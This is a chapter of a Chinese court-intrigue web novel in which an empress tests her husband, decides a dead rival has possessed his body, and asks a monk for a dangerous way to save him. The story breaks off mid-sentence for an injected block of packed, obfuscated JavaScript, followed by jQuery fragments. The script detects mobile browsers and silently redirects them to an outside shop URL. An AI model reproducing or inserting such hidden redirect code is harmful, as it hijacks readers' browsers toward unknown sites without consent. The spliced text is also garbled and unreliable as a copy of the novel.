谢澜音走后,晏宁沉默了许久。
原来不只她有所怀疑,连谢澜音也察觉出了他的怪异,这越发验证了她原先的猜测。
而当清霜自感业寺回宫后,她满腹的狐疑便都有了答案。
看着手中的信笺,晏宁眸光一震,心口不住地颤动起来。
凡心性大变者,若非重创失忆,皆为夺舍之故。夺舍者,多为借尸还魂,亦有附体强占。
夺舍!
那是志怪小说里才会出现的字眼。
据书中所记,人在重伤或濒死时,身体会格外虚弱。而周遭的妖魔鬼怪便会在此时趁虚而入,占据此人的躯壳。
道行高深的夺舍者会继承原主的记忆,通常不会被亲近之人发现。而道行低微的夺舍者则会性情大变、判若两人。
她原本并不相信那诡异之说,可萧御的种种转变却实在是令人生疑。
从一开始的疏离,到后来的决裂,再到对谢澜音的执念,他的所作所为都像极了已故的萧恒。
也唯有萧恒,才会如此狂热偏执。
可若真的是他夺了萧御的身躯,那么真正的萧御又在哪里?
强压之下,心头已是一片乱麻。
***
萧御再度驾临凤仪宫已是两日之后。
彼时晏宁正抱着刚睡醒的萧稷,神情温柔地轻抚着他的面颊。
他一进门,宫人和乳母就纷纷跪地参拜。
“奴婢,叩见皇上。”
“都退下吧。”
待宫人相继离开后,偌大的寝殿内就只剩下他们一家三口。
“你考虑得如何了?”
他似乎并没有什么耐心,连目光都鲜少落在萧稷身上。而那并不是一个父亲该有的态度。
晏宁按下心底的猜疑,缓缓抬起了眼眸。
“若非萧恒之故,你我二人本不该相识。我亦非贪权恋势之人,此生唯愿自由无拘。一开始,我也只想与你相敬如宾各司其职,可你却以真心诱我动情,让我相信这世上确有矢志不渝的爱情。”
她的嗓音仍旧低柔,可眼底却充满了幽怨和委屈。
“若依我的本心,在你变心的那一刻起,就该自请离去,可……”
她低下头,含泪看向了怀中的萧稷。
“可我有了稷儿,便不能再随心所欲,事事只想着自己……”
哭过之后,她再度抬起头,一双眼睛已微微泛红。
“你若还肯顾念夫妻之情,善待我们母子,往后我便不会再过问采选妃嫔之事,如此,你可满意吗?”
即便带着怨气,可到底还是做出了妥协。
萧御神色微动,眼底划过一丝欣慰:“身为后宫之主,本就该有容人之量。你若能早些想明白,又何至于此?”
说着,他便俯身坐在了床沿:“好在亡羊补牢为时不晚,朕亦会履行自己的许诺,与你重新做一对恩爱夫妻。”
当他伸手握住自己的柔荑时,晏宁没再抗拒,只默默地垂眸拭泪。
“好了,别再哭了!”
他轻轻地拍着她的手背,语气温柔地安抚着,晏宁便也咽下喉间的酸楚,不再哭泣。
此后的数日,晏宁一改先前的冷淡,时常让青橘去御书房送些点心吃食。
如此,萧御驾临凤仪宫的次数也逐渐多了起来。
某日傍晚,晏宁在用膳时,貌似无意地提起了谢璋。
“此次出征,谢将军也立下了不小的功劳,皇上可想好了要如何封赏?”
“北戎虽已败退,可他们贼心不死,恐有卷土重来之势。燕州乃军事要地,若无人把守,恐成大患。故而朕有意封他为异姓藩王,让他为朕守着国门。”
见他眉心微皱,晏宁柔声说道:“大周建国后便没有异姓藩王的先例,皇上的主意虽好,可内阁的那些大臣恐怕不会答应。”
闻言,萧御有些意外地看了她一眼:“你说的不错,那班文臣迂腐守旧,的确否决了朕的主张。”
“此事还需从长计议。”
听着她柔声的劝慰,萧御眉心一动,眼底划过一抹试探。
“朕封赏谢氏的父亲,你不会吃醋吧?”
“皇上怎么会这么想呢?”晏宁轻柔一笑,眸光甚是坦荡,“谢将军有功于社稷,理应受到封赏,臣妾怎会因他是谢氏的父亲就心生妒忌?”
“你能这么想,朕甚是欣慰。”
说着,他笑着拍了拍晏宁的手,面上浮出一缕赞许。
见状,晏宁眸光一闪,有些犹豫地问道:“臣妾听闻,谢氏入宫后一直都不肯侍寝?”
迎着她探寻的目光,萧御面色一沉,眼神忽然冷了下来。
“你的消息倒是灵通……”
面对他突如其来的指责,晏宁心口一颤,当即敛眸说道:“此事在宫中早已不是秘密,臣妾身为皇后又岂会不知!”
“是吗?”
他冷哼一声,不置可否地望着她,目光仍旧锐利。
“臣妾说过,往后不会再过问后宫妃嫔之事,自然也不会自降身份去探听她的事情。”
见她面露愤慨,萧御眸光一转,心底的疑虑这才逐渐消散。
“朕亦国事繁忙,暂无心思和她周旋。便随她去闹,时日久了,她总会想明白的。”
对谢澜音,他倒是颇有耐心。
晏宁在心底冷哼一声,垂眸之际已压下心底的不屑。
用完膳后,萧御只略坐片刻便起身离去。
而他走后,晏宁一改先前的柔顺,目光逐渐变得晦暗幽深。
一番试探后,她已基本确定心中的猜想。
光凭他对谢璋的态度,她就可以断言这副躯壳下的人绝不是萧御。
次日午后,清霜带来了谢澜音的密信。
短短四字,便让她如遭雷击。
确是萧恒。
比起她,谢澜音才是更了解萧恒的人。
至此,心底的疑虑彻底消除,取而代之的是前所未有的坚定。
无论如何,她都要救回真正的萧御。
***
一连数日,萧稷都啼哭不止,尤其是在夜间。
忧虑之下,晏宁只得派人前往感业寺,请了法师来为他祈福祝祷。
她原本以为来的会是住持,却不成想见到的竟会是慈恩。
冗长的唱念祝祷中,慈恩目不斜视,始终都端着一副得道高僧的姿态。
末了,当乳母抱出萧稷时,他才从袖中取出了一枚明黄色的平安符。
“皇子之所以啼哭不止,是有邪祟近身,扰其心神。往后入夜时,带着这枚平安符便可然入睡。”
闻言,乳母便伸手接过平安符,塞在了萧稷的衣襟中。
“仪式已经结束,你可先抱皇子去偏殿休息。”
听了慈恩的话后,乳母犹豫地看向晏宁,却见她笑着说道:“去吧!”
至此,乳母才抱着萧稷躬身退下。
“或许是因皇子受惊的缘故,本宫近日也觉得心绪不宁。故而打算在偏殿内设置一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219935|184108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
座佛堂,再供奉几卷经文。”
“若要供奉佛经,可首选《心经》或《金刚经》,若能手抄便更显虔诚。”
“大师所言甚是!本宫自当手抄经卷,以求心诚。”
“如此甚好!”
“说起佛经,本宫尚有几处疑虑,想请大师赐教。”
“娘娘请讲……”
晏宁眸光一抬,侧首看向候在殿内的一众宫人:“本宫要和大师探讨经文,除青橘外,都退下吧。”
“是。”众人应声而退后,青橘立刻掩上了殿门。
这时,晏宁忽然朝着慈恩躬身一拜:“请大师受本宫一拜……”
能受皇后如此大礼,换做任何僧人都会谦卑推拒,可慈恩却岿然不动。
“娘娘不必如此,贫僧并非为你而来!”
“娘娘好心拜谢,你怎能如此倨傲无礼?”
“青橘!”一声呵斥后,青橘委屈地抿着唇,眼底却仍是不忿。
“大师先请入座吧。”
面对她的礼遇,慈恩毫无感激之情,自始至终都神色冷淡。
坐定后,晏宁眸光一转,语气哀愁地说道:“大师似乎一直都很讨厌本宫,可本宫不明白这究竟是为什么……”
无论是先前求他为亡母主持法会,还是此次的重逢,他都没给过她一个好脸色。
“讨厌一个人一定要理由吗?”
迎着他淡漠的注视,晏宁不由得心口一紧:“爱憎嗔痴皆有缘由,你总不会无缘无故地憎恶本宫……”
闻言,慈恩静默片刻,原本冷漠的面容上生出了一丝裂痕。
可他仍未正面回答。
见状,晏宁也只能喟然轻叹:“大师既不肯明示,本宫便也不再问了。只是方才你曾说并非是为本宫而来,那么此行应是为了皇上吧。”
若不是交情匪浅,当初他也不会应萧御之请,替她主持亡母的法会。
“贫僧的确是为他而来。”
他甚至不肯尊称萧御为皇上。可此刻,晏宁也无心追究什么,只凝眸问道:“倘若他已遭人夺舍,大师可有解救之法吗?”
“贫僧既然来了,自是有破解之法,只是这法子凶险,恐怕娘娘不愿配合。”
“只要能救回他,便是凶险些又有何妨?”
见她眼神坚定,没有半分迟疑,慈恩眸光一抬,语气肃然地问道:“若是危及性命,你也愿意?”
闻言,晏宁眸光一震,眼底覆满了惊异,可不过片刻,她就笃定地点了头。
“本宫愿意!”
不等慈恩接话,青橘就大惊失色地叫了一声:“娘娘,您要三思啊……”
“没什么好三思的,只要能救他,便是舍了这条命,本宫也在所不惜!”
说着,她再度凝眸看向慈恩:“还请大师勉力一试,务必要救回他!”
闻言,慈恩眸光一动,眼底划过一抹疑思:“你真的肯为他舍命?”
“是。”
“为何?”
迎着他疑惑的眼神,晏宁叹息道:“他是社稷之主,也是本宫患难与共的夫君,更是稷儿的生父,所以无论如何,本宫都要救他。”
将她的坚定看在眼里,慈恩终是幽幽地叹了口气。
“你既愿意舍命相救,贫僧自然也会竭尽所能。只是此法凶险,一旦开始,便再无后悔的余地,你可想好了?”
见他仍面露怀疑,晏宁眸光一沉,眼底生出一抹无法撼动的决心。
“生死有命,本宫绝不后悔!”